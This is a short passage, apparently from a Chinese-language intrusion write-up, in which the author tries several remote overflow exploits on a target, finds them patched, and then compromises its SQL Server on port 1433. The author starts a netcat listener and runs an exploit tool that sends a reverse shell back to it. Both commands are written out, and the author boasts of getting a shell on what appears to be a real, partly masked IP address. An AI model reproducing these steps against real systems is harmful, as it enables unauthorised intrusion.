四．溢出

　　既然没有弱口令，也没开80，那只好从溢出方面着手了，但没开80 21 也就webdav .sevr-u的溢出没戏了，很自然，我向导了RPC溢出，但实践证明RPC溢出也是不行的，LSASS溢出也不行 。

　　五．募然回首，那人却在，灯火阑珊处

　　看来这管理员还是比较负责的，该打的补丁都打上了，这时侯，我的目光转移到1433上了（嘿，不知道他打了SQL补丁没有？）心动不如行动，现在只好死马当活马医了，于是
　　nc -v -l 99
　　sql2 218.xxx.xxx.xxx 0 218.xxx.xxx.xxx 99
　　bingle 成功地得到一个shell了。